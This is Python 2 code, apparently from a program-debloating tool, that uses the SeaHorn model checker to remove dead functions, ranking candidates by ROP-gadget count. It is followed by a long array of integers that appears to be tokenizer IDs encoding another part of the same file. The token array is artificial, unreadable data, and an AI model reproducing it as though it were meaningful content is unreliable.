inter.writeInterface(iface, tf.name) os.unlink(tf.name) return iface def run_seahorn(sea_cmd, input_file, fname, is_loop_free, cpu, mem): """ running SeaHorn """ # 1. Instrument the program with assertions sea_infile = tempfile.NamedTemporaryFile(suffix='.bc', delete=False) sea_infile.close() args = ['--Padd-verifier-calls', '--Padd-verifier-call-in-function={0}'.format(fname)] driver.previrt(input_file, sea_infile.name, args) # 2. Run SeaHorn sea_args = [ '--strip-extern' , '--enable-indvar' , '--enable-loop-idiom' , '--symbolize-constant-loop-bounds' , '--unfold-loops-for-dsa' , '--simplify-pointer-loops' , '--horn-sea-dsa-local-mod' , '--horn-sea-dsa-split' , '--dsa=sea-cs' , '--cpu={0}'.format(cpu) , '--mem={0}'.format(mem)] if is_loop_free: # the bound shouldn't affect for proving unreachability of the # function but we need a global bound for all loops. sea_args = ['bpf', '--bmc=mono', '--bound=3'] + \ sea_args + \ [ '--horn-bv-global-constraints=true' , '--horn-bv-singleton-aliases=true' , '--horn-bv-ignore-calloc=false' , '--horn-at-most-one-predecessor'] sys.stderr.write('\tRunning SeaHorn with BMC engine on {0} ...\n'.format(fname)) else: sea_args = ['pf'] + \ sea_args + \ [ '--horn-global-constraints=true' , '--horn-singleton-aliases=true' , '--horn-ignore-calloc=false' , '--crab', '--crab-dom=int'] sys.stderr.write('\tRunning SeaHorn with Spacer+AI engine on {0} ...\n'.format(fname)) sea_args = sea_args + [sea_infile.name] sb = stringbuffer.StringBuffer() retcode= driver.run(sea_cmd, sea_args, sb, False) status = check_status(str(sb)) if retcode == 0 and status: # 3. If SeaHorn proved unreachability of the function then we # add assume(false) at the entry of that function. sys.stderr.write('SeaHorn proved unreachability of {0}!\n'.format(fname)) sea_outfile = tempfile.NamedTemporaryFile(suffix='.bc', delete=False) sea_outfile.close() args = ['--Preplace-verifier-calls-with-unreachable'] driver.previrt_progress(sea_infile.name, sea_outfile.name, args) # 4. And, we run the optimized to remove that function sea_opt_outfile = tempfile.NamedTemporaryFile(suffix='.bc', delete=False) sea_opt_outfile.close() optimize(sea_outfile.name, sea_opt_outfile.name) return sea_opt_outfile.name else: sys.stderr.write('\tSeaHorn could not prove unreachability of {0}.\n'.format(fname)) if retcode <> 0: sys.stderr.write('\t\tPossibly timeout or memory limits reached\n') elif not status: sys.stderr.write('\t\tSeaHorn got a counterexample\n') return input_file def precise_dce(input_file, ropfile, output_file): """ use SeaHorn model-checker to remove dead functions """ sea_cmd = utils.get_seahorn() if sea_cmd is None: sys.stderr.write('SeaHorn not found. Aborting precise dce ...') shutil.copy(input_file, output_file) return False cost_benefit_out = tempfile.NamedTemporaryFile(delete=False) args = ['--Pcost-benefit-cg'] args += ['--Pbenefits-filename={0}'.format(ropfile)] args += ['--Pcost-benefit-output={0}'.format(cost_benefit_out.name)] driver.previrt(input_file, '/dev/null', args) #### ## TODO: make these parameters user-definable: #### benefit_threshold = 20 ## number of ROP gadgets cost_threshold = 3 ## number of loops timeout = 120 ## SeaHorn timeout in seconds memlimit = 4096 ## SeaHorn memory limit in MB seahorn_queries = [] for line in cost_benefit_out: tokens = line.split() # Expected format of each token: FUNCTION BENEFIT COST # where FUNCTION is a string, BENEFIT is an integer, and COST is an integer if len(tokens) < 3: sys.stderr.write('ERROR: unexpected format of {0}\n'.format(cost_benefit_out.name)) return False fname = tokens[0] fbenefit= int(tokens[1]) fcost = int(tokens[2]) if fbenefit >= benefit_threshold and fcost <= cost_threshold: seahorn_queries.extend([(fname, fcost == 0)]) cost_benefit_out.close() if seahorn_queries == []: print "No queries for SeaHorn ..." ##### ## TODO: run SeaHorn instances in parallel ##### change = False curfile = input_file for (fname, is_loop_free) in seahorn_queries: if fname == 'main' or \ fname.startswith('devirt') or \ fname.startswith('seahorn'): continue nextfile = run_seahorn(sea_cmd, curfile, fname, is_loop_free, timeout, memlimit) change = change | (curfile <> nextfile) curfile = nextfile shutil.copy(curfile, output_file) return change
[ 37811, 198, 440, 4093, 2390, 628, 15069, 357, 66, 8, 2813, 12, 5539, 11, 311, 7112, 4037, 628, 220, 1439, 2489, 10395, 13, 628, 2297, 396, 3890, 290, 779, 287, 2723, 290, 13934, 5107, 11, 351, 393, 1231, 198, 17613, 11, 389, 10431, 2810, 326, 262, 1708, 3403, 389, 1138, 25, 628, 1635, 2297, 396, 2455, 507, 286, 2723, 2438, 1276, 12377, 262, 2029, 6634, 4003, 11, 428, 198, 220, 220, 1351, 286, 3403, 290, 262, 1708, 37592, 13, 628, 1635, 2297, 396, 2455, 507, 287, 13934, 1296, 1276, 22919, 262, 2029, 6634, 4003, 11, 198, 220, 220, 428, 1351, 286, 3403, 290, 262, 1708, 37592, 287, 262, 10314, 198, 220, 220, 290, 14, 273, 584, 5696, 2810, 351, 262, 6082, 13, 628, 1635, 16126, 262, 1438, 286, 311, 7112, 4037, 4249, 262, 3891, 286, 663, 20420, 743, 198, 220, 220, 307, 973, 284, 11438, 393, 7719, 3186, 10944, 422, 428, 3788, 1231, 198, 220, 220, 2176, 3161, 3194, 7170, 13, 628, 12680, 47466, 3180, 36592, 2389, 1961, 11050, 3336, 27975, 38162, 9947, 367, 15173, 4877, 5357, 27342, 9865, 3843, 20673, 366, 1921, 3180, 1, 198, 5357, 15529, 7788, 32761, 6375, 8959, 49094, 34764, 11015, 11, 47783, 2751, 11, 21728, 5626, 40880, 5390, 11, 3336, 198, 8959, 49094, 34764, 11015, 3963, 34482, 3398, 1565, 5603, 25382, 5357, 376, 46144, 7473, 317, 16652, 2149, 37232, 33079, 48933, 15986, 198, 13954, 48778, 1961, 13, 3268, 8005, 49261, 50163, 3336, 27975, 38162, 9947, 49707, 14418, 6375, 27342, 9865, 3843, 20673, 9348, 43031, 19146, 198, 7473, 15529, 42242, 11, 3268, 17931, 23988, 11, 19387, 25256, 1847, 11, 38846, 11, 7788, 3620, 6489, 13153, 11, 6375, 7102, 5188, 10917, 3525, 12576, 198, 29506, 25552, 357, 1268, 39149, 2751, 11, 21728, 5626, 40880, 5390, 11, 41755, 11335, 10979, 3963, 28932, 2257, 2043, 37780, 21090, 50, 6375, 198, 49254, 26, 406, 18420, 3963, 23210, 11, 42865, 11, 6375, 4810, 19238, 29722, 26, 6375, 43949, 44180, 23255, 49, 8577, 24131, 8, 29630, 36, 5959, 198, 7257, 2937, 1961, 5357, 6177, 15529, 3336, 15513, 3963, 43031, 25382, 11, 7655, 2767, 16879, 3268, 27342, 10659, 11, 19269, 18379, 43031, 25382, 11, 198, 6375, 309, 9863, 357, 1268, 39149, 2751, 399, 7156, 43, 3528, 18310, 6375, 25401, 54, 24352, 8, 5923, 1797, 2751, 3268, 15529, 34882, 16289, 3963, 3336, 23210, 198, 3963, 12680, 47466, 11, 45886, 16876, 5984, 29817, 1961, 3963, 3336, 28069, 11584, 25382, 3963, 13558, 3398, 29506, 11879, 13, 198, 37811, 198, 198, 11748, 25064, 198, 11748, 28686, 198, 11748, 20218, 7753, 198, 11748, 4423, 346, 198, 198, 6738, 764, 1330, 4566, 198, 198, 6738, 764, 1330, 4639, 198, 198, 6738, 764, 1330, 7071, 355, 987, 198, 198, 6738, 764, 1330, 4731, 22252, 198, 198, 6738, 764, 1330, 5933, 198, 198, 6738, 764, 1330, 3384, 4487, 220, 220, 628, 198, 4299, 7071, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 11, 1319, 83, 2599, 198, 220, 220, 220, 37227, 14492, 262, 20314, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 26498, 796, 685, 29001, 47, 39994, 17, 3256, 705, 12, 47, 39994, 17, 12, 22915, 3256, 5072, 62, 7753, 60, 198, 220, 220, 220, 26498, 15853, 4639, 13, 439, 62, 22046, 10786, 12, 47, 39994, 17, 12, 13000, 3256, 1319, 83, 8, 198, 220, 220, 220, 1441, 4639, 13, 47050, 2265, 7, 15414, 62, 7753, 11, 31051, 7959, 14, 8423, 3256, 26498, 8, 198, 198, 4299, 39868, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 11, 28183, 62, 7753, 11, 20314, 2599, 198, 220, 220, 220, 37227, 987, 8265, 43135, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 26498, 796, 685, 29001, 47, 20887, 1096, 20520, 198, 220, 220, 220, 611, 407, 28183, 62, 7753, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 15853, 685, 29001, 47, 20887, 1096, 12, 22915, 3256, 28183, 62, 7753, 60, 198, 220, 220, 220, 26498, 15853, 4639, 13, 439, 62, 22046, 10786, 12, 47, 20887, 1096, 12, 15414, 3256, 20314, 8, 198, 220, 220, 220, 611, 5072, 62, 7753, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 5072, 62, 7753, 796, 31051, 7959, 14, 8423, 6, 198, 220, 220, 220, 1441, 4639, 13, 47050, 2265, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 11, 26498, 8, 198, 198, 4299, 28183, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 11, 302, 8933, 274, 11, 5072, 28, 14202, 2599, 198, 220, 220, 220, 37227, 987, 8265, 49614, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 26498, 796, 685, 29001, 47, 1809, 6525, 20520, 1343, 4639, 13, 439, 62, 22046, 10786, 12, 47, 1809, 6525, 12, 15414, 3256, 302, 8933, 274, 8, 198, 220, 220, 220, 1441, 4639, 13, 47050, 2265, 62, 33723, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 11, 26498, 11, 5072, 8, 628, 198, 4299, 5387, 1096, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 11, 20314, 11, 20542, 46331, 2599, 198, 220, 220, 220, 37227, 8849, 21958, 14354, 355, 5387, 14, 30342, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 26498, 796, 685, 29001, 47, 13966, 321, 20520, 1343, 4639, 13, 439, 62, 22046, 10786, 12, 47, 13966, 321, 12, 15414, 3256, 20314, 8, 198, 220, 220, 220, 611, 20542, 46331, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 796, 26498, 1343, 685, 29001, 47, 14894, 12, 22615, 3256, 20542, 46331, 60, 198, 220, 220, 220, 1441, 4639, 13, 47050, 2265, 62, 33723, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 11, 26498, 8, 198, 198, 4299, 10283, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 2599, 198, 220, 220, 220, 37227, 22670, 21958, 14354, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 26498, 796, 685, 15414, 62, 7753, 11, 705, 12, 78, 3256, 5072, 62, 7753, 60, 198, 220, 220, 220, 26498, 15853, 685, 29001, 36311, 3256, 705, 12, 4743, 672, 1940, 344, 3256, 705, 12, 20541, 8738, 3256, 705, 12, 36311, 12, 25124, 12, 11235, 13567, 20520, 198, 220, 220, 220, 1441, 4639, 13, 5143, 10786, 8738, 3256, 26498, 8, 198, 198, 4299, 1614, 2265, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 2599, 198, 220, 220, 220, 37227, 10568, 12913, 2163, 3848, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 26498, 796, 685, 29001, 7959, 2265, 12, 8326, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 27713, 25, 428, 530, 318, 407, 11, 287, 2276, 11, 2128, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 29001, 13345, 16793, 12, 46430, 12, 22615, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 12, 45145, 20520, 198, 220, 220, 220, 1005, 8189, 796, 4639, 13, 47050, 2265, 62, 33723, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 11, 26498, 8, 198, 220, 220, 220, 611, 1005, 8189, 14512, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 1005, 8189, 628, 220, 220, 220, 1303, 47084, 11682, 25, 8654, 2265, 62, 33723, 5860, 657, 287, 2663, 810, 1377, 7959, 2265, 12, 8326, 17616, 13, 198, 220, 220, 220, 1303, 4342, 356, 2198, 326, 262, 5072, 62, 7753, 7160, 198, 220, 220, 220, 611, 407, 28686, 13, 6978, 13, 4468, 576, 7, 22915, 62, 7753, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 4366, 1441, 2438, 1180, 422, 6632, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 513, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 1005, 8189, 628, 198, 4299, 7034, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 2599, 198, 220, 220, 220, 37227, 954, 1271, 286, 7729, 11, 5499, 11, 4088, 1895, 274, 11, 3503, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 26498, 796, 685, 29001, 47, 5577, 5329, 20520, 198, 220, 220, 220, 26498, 15853, 685, 29001, 13317, 12, 448, 7753, 34758, 15, 92, 4458, 18982, 7, 22915, 62, 7753, 15437, 198, 220, 220, 220, 1441, 4639, 13, 47050, 2265, 7, 15414, 62, 7753, 11, 31051, 7959, 14, 8423, 3256, 26498, 8, 198, 198, 4299, 613, 2100, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 11, 779, 62, 7959, 2265, 11, 779, 62, 297, 431, 11, 779, 62, 541, 67, 325, 11, 2604, 28, 14202, 2599, 198, 220, 220, 220, 37227, 23422, 8265, 8654, 22341, 1634, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 2172, 796, 20218, 7753, 13, 45, 2434, 12966, 5551, 8979, 7, 37333, 844, 28, 4458, 15630, 3256, 12233, 28, 25101, 8, 198, 220, 220, 220, 1760, 796, 20218, 7753, 13, 45, 2434, 12966, 5551, 8979, 7, 37333, 844, 28, 4458, 15630, 3256, 12233, 28, 25101, 8, 198, 220, 220, 220, 45218, 796, 20218, 7753, 13, 45, 2434, 12966, 5551, 8979, 7, 37333, 844, 28, 4458, 15630, 3256, 12233, 28, 25101, 8, 198, 220, 220, 220, 2172, 13, 19836, 3419, 198, 220, 220, 220, 1760, 13, 19836, 3419, 198, 220, 220, 220, 45218, 13, 19836, 3419, 628, 220, 220, 220, 1303, 43145, 25, 30011, 1096, 1262, 3210, 32660, 14761, 38226, 878, 597, 584, 1208, 13, 198, 220, 220, 220, 1303, 48059, 11, 777, 8318, 481, 407, 307, 845, 4050, 13, 198, 220, 220, 220, 1005, 8189, 796, 27183, 7, 15414, 62, 7753, 11, 1760, 13, 3672, 8, 198, 220, 220, 220, 611, 1005, 8189, 14512, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 7203, 24908, 25, 23422, 8265, 23989, 4054, 0, 59, 77, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 4423, 346, 13, 30073, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 1005, 8189, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 7203, 59, 83, 600, 430, 8265, 23989, 5201, 17458, 274, 2759, 59, 77, 4943, 628, 220, 220, 220, 611, 779, 62, 7959, 2265, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1005, 8189, 796, 1614, 2265, 7, 28060, 13, 3672, 11, 45218, 13, 3672, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1005, 8189, 14512, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 7203, 24908, 25, 6323, 286, 12913, 3848, 4054, 0, 59, 77, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4423, 346, 13, 30073, 7, 28060, 13, 3672, 11, 5072, 62, 7753, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 1005, 8189, 628, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 7203, 59, 83, 411, 5634, 12913, 3848, 5201, 17458, 274, 2759, 59, 77, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 4423, 346, 13, 30073, 7, 22065, 13, 3672, 11, 1760, 13, 3672, 8, 628, 220, 220, 220, 611, 779, 62, 297, 431, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 32660, 431, 62, 8019, 82, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 329, 9195, 287, 4566, 13, 1136, 62, 297, 30242, 571, 82, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 32660, 431, 62, 8019, 82, 13, 33295, 10786, 12, 2220, 34758, 15, 92, 4458, 18982, 7, 8019, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26498, 796, 32660, 431, 62, 8019, 82, 1343, 685, 29001, 26268, 12, 14323, 489, 1958, 3256, 705, 12, 75, 25471, 64, 3256, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 12, 297, 431, 3256, 705, 12, 297, 431, 12, 296, 270, 12, 42116, 3256, 705, 12, 297, 431, 12, 29762, 12, 16663, 276, 3256, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1760, 13, 3672, 11, 705, 12, 78, 28, 4, 82, 6, 4064, 45218, 13, 3672, 60, 198, 220, 220, 220, 220, 220, 220, 220, 1005, 8189, 796, 4639, 13, 5143, 10786, 8738, 3256, 26498, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1005, 8189, 14512, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 7203, 24908, 25, 32660, 431, 4054, 0, 59, 77, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4423, 346, 13, 30073, 7, 28060, 13, 3672, 11, 5072, 62, 7753, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 47084, 11682, 25, 555, 8726, 3696, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 1005, 8189, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 7203, 59, 83, 297, 431, 5201, 17458, 274, 2759, 59, 77, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 4423, 346, 13, 30073, 7, 22065, 13, 3672, 11, 1760, 13, 3672, 8, 628, 220, 220, 220, 611, 779, 62, 541, 67, 325, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 22492, 21037, 3298, 4238, 11341, 284, 3650, 338, 287, 1388, 357, 49453, 15440, 286, 264, 535, 79, 8, 198, 220, 220, 220, 220, 220, 220, 220, 8318, 796, 685, 29001, 21037, 12, 70, 85, 12, 15003, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 22492, 25124, 3650, 21472, 357, 49453, 15440, 286, 264, 535, 79, 8, 198, 220, 220, 220, 220, 220, 220, 220, 8318, 15853, 685, 29001, 31673, 12, 824, 64, 3256, 705, 12, 47, 11883, 12, 824, 64, 12, 12001, 12, 4666, 3256, 29001, 47, 11883, 12, 824, 64, 12, 35312, 12, 25747, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 12, 11883, 17, 2301, 3256, 705, 12, 541, 12, 67, 325, 3256, 705, 12, 36311, 12, 31673, 12, 824, 64, 12, 8625, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 22492, 525, 687, 264, 535, 79, 198, 220, 220, 220, 220, 220, 220, 220, 8318, 15853, 685, 29001, 12016, 535, 79, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 22492, 27773, 929, 706, 264, 535, 79, 198, 220, 220, 220, 220, 220, 220, 220, 8318, 15853, 685, 29001, 67, 344, 3256, 705, 12, 4743, 672, 1940, 344, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 1005, 8189, 796, 4639, 13, 47050, 2265, 7, 28060, 13, 3672, 11, 45218, 13, 3672, 11, 8318, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1005, 8189, 14512, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 7203, 24908, 25, 20966, 67, 325, 4054, 0, 59, 77, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4423, 346, 13, 30073, 7, 28060, 13, 3672, 11, 5072, 62, 7753, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 47084, 11682, 25, 555, 8726, 3696, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 1005, 8189, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 7203, 59, 22504, 67, 325, 5201, 17458, 274, 2759, 59, 77, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 4423, 346, 13, 30073, 7, 22065, 13, 3672, 11, 1760, 13, 3672, 8, 628, 220, 220, 220, 503, 796, 685, 7061, 60, 198, 220, 220, 220, 24415, 796, 657, 198, 220, 220, 220, 981, 6407, 25, 198, 220, 220, 220, 220, 220, 220, 220, 24415, 15853, 352, 198, 220, 220, 220, 220, 220, 220, 220, 611, 24415, 1875, 352, 393, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 357, 1904, 62, 297, 431, 318, 407, 6045, 393, 779, 62, 541, 67, 325, 318, 407, 6045, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 27183, 1262, 3210, 32660, 14761, 38226, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1005, 8189, 796, 27183, 7, 28060, 13, 3672, 11, 2172, 13, 3672, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 1005, 8189, 14512, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 7203, 24908, 25, 23422, 12, 21412, 23989, 4054, 0, 59, 77, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2270, 26, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 7203, 59, 83, 600, 430, 8265, 23989, 5201, 17458, 274, 2759, 59, 77, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4423, 346, 13, 30073, 7, 28060, 13, 3672, 11, 2172, 13, 3672, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 287, 21310, 1262, 4788, 198, 220, 220, 220, 220, 220, 220, 220, 8318, 796, 685, 29001, 47, 431, 2100, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 4371, 796, 4639, 13, 47050, 2265, 62, 33723, 7, 8738, 13, 3672, 11, 1760, 13, 3672, 11, 8318, 11, 5072, 28, 448, 8, 198, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 301, 1082, 81, 13, 13564, 7203, 59, 83, 600, 430, 12, 21412, 43135, 5201, 59, 77, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 611, 4371, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2604, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2604, 13, 13564, 7, 448, 58, 15, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4423, 346, 13, 30073, 7, 8738, 13, 3672, 11, 1760, 13, 3672, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2270, 628, 220, 220, 220, 4423, 346, 13, 30073, 7, 28060, 13, 3672, 11, 5072, 62, 7753, 8, 198, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 28686, 13, 403, 8726, 7, 28060, 13, 3672, 8, 198, 220, 220, 220, 220, 220, 220, 220, 28686, 13, 403, 8726, 7, 8738, 13, 3672, 8, 198, 220, 220, 220, 220, 220, 220, 220, 28686, 13, 403, 8726, 7, 22065, 13, 3672, 8, 198, 220, 220, 220, 2845, 440, 5188, 81, 1472, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1208, 198, 220, 220, 220, 1441, 1005, 8189, 198, 198, 4299, 27183, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 2599, 198, 220, 220, 220, 37227, 1057, 2172, 532, 46, 18, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 26498, 796, 685, 29001, 40223, 12, 14323, 489, 1958, 12, 8019, 66, 5691, 3256, 5128, 62, 7753, 11, 705, 12, 78, 3256, 5072, 62, 7753, 11, 705, 12, 46, 18, 20520, 198, 220, 220, 220, 1441, 4639, 13, 5143, 10786, 8738, 3256, 26498, 8, 198, 198, 4299, 1500, 3201, 62, 23065, 62, 22046, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 11, 269, 77, 2536, 82, 11, 29472, 28, 14202, 2599, 198, 220, 220, 220, 37227, 1500, 3201, 262, 1430, 7159, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 611, 29472, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 269, 77, 2536, 62, 7753, 796, 20218, 7753, 13, 45, 2434, 12966, 5551, 8979, 7, 33678, 28, 25101, 8, 198, 220, 220, 220, 220, 220, 220, 220, 269, 77, 2536, 62, 7753, 13, 19836, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 269, 77, 2536, 62, 7753, 796, 269, 77, 2536, 62, 7753, 13, 3672, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 269, 77, 2536, 62, 7753, 796, 29472, 198, 220, 220, 220, 277, 796, 1280, 7, 31522, 2536, 62, 7753, 11, 705, 86, 11537, 198, 220, 220, 220, 357, 853, 66, 11, 1822, 85, 8, 796, 269, 77, 2536, 82, 198, 220, 220, 220, 277, 13, 13564, 10786, 90, 15, 32239, 77, 4458, 18982, 7, 853, 66, 4008, 198, 220, 220, 220, 6376, 796, 657, 198, 220, 220, 220, 329, 2124, 287, 1822, 85, 25, 198, 220, 220, 220, 220, 220, 220, 220, 277, 13, 13564, 10786, 90, 15, 92, 1391, 16, 32239, 77, 4458, 18982, 7, 9630, 11, 2124, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 6376, 15853, 352, 198, 220, 220, 220, 277, 13, 19836, 3419, 628, 220, 220, 220, 26498, 796, 685, 29001, 47, 1102, 2536, 6003, 3256, 705, 12, 47, 1102, 2536, 6003, 12, 15414, 3256, 269, 77, 2536, 62, 7753, 60, 198, 220, 220, 220, 4639, 13, 47050, 2265, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 11, 26498, 8, 628, 220, 220, 220, 611, 29472, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 28686, 13, 403, 8726, 7, 31522, 2536, 62, 7753, 8, 198, 198, 4299, 39868, 62, 23065, 62, 22046, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 11, 26498, 11, 29472, 28, 14202, 11, 1438, 28, 14202, 2599, 198, 220, 220, 220, 37227, 4259, 262, 1430, 7159, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 611, 29472, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1822, 62, 7753, 796, 20218, 7753, 13, 45, 2434, 12966, 5551, 8979, 7, 33678, 28, 25101, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1822, 62, 7753, 13, 19836, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 1822, 62, 7753, 796, 1822, 62, 7753, 13, 3672, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1822, 62, 7753, 796, 29472, 198, 220, 220, 220, 277, 796, 1280, 7, 853, 62, 7753, 11, 705, 86, 11537, 198, 220, 220, 220, 329, 2124, 287, 26498, 25, 198, 220, 220, 220, 220, 220, 220, 220, 277, 13, 13564, 7, 87, 1343, 705, 59, 77, 11537, 198, 220, 220, 220, 277, 13, 19836, 3419, 628, 220, 220, 220, 3131, 62, 22046, 796, 17635, 198, 220, 220, 220, 611, 407, 1438, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3131, 62, 22046, 796, 685, 29001, 47, 853, 2886, 12, 3672, 3256, 1438, 60, 198, 220, 220, 220, 26498, 796, 685, 29001, 47, 853, 2886, 3256, 705, 12, 47, 853, 2886, 12, 15414, 3256, 1822, 62, 7753, 60, 1343, 3131, 62, 22046, 198, 220, 220, 220, 4639, 13, 47050, 2265, 7, 15414, 62, 7753, 11, 5072, 62, 7753, 11, 26498, 8, 628, 220, 220, 220, 611, 29472, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 28686, 13, 403, 8726, 7, 853, 62, 7753, 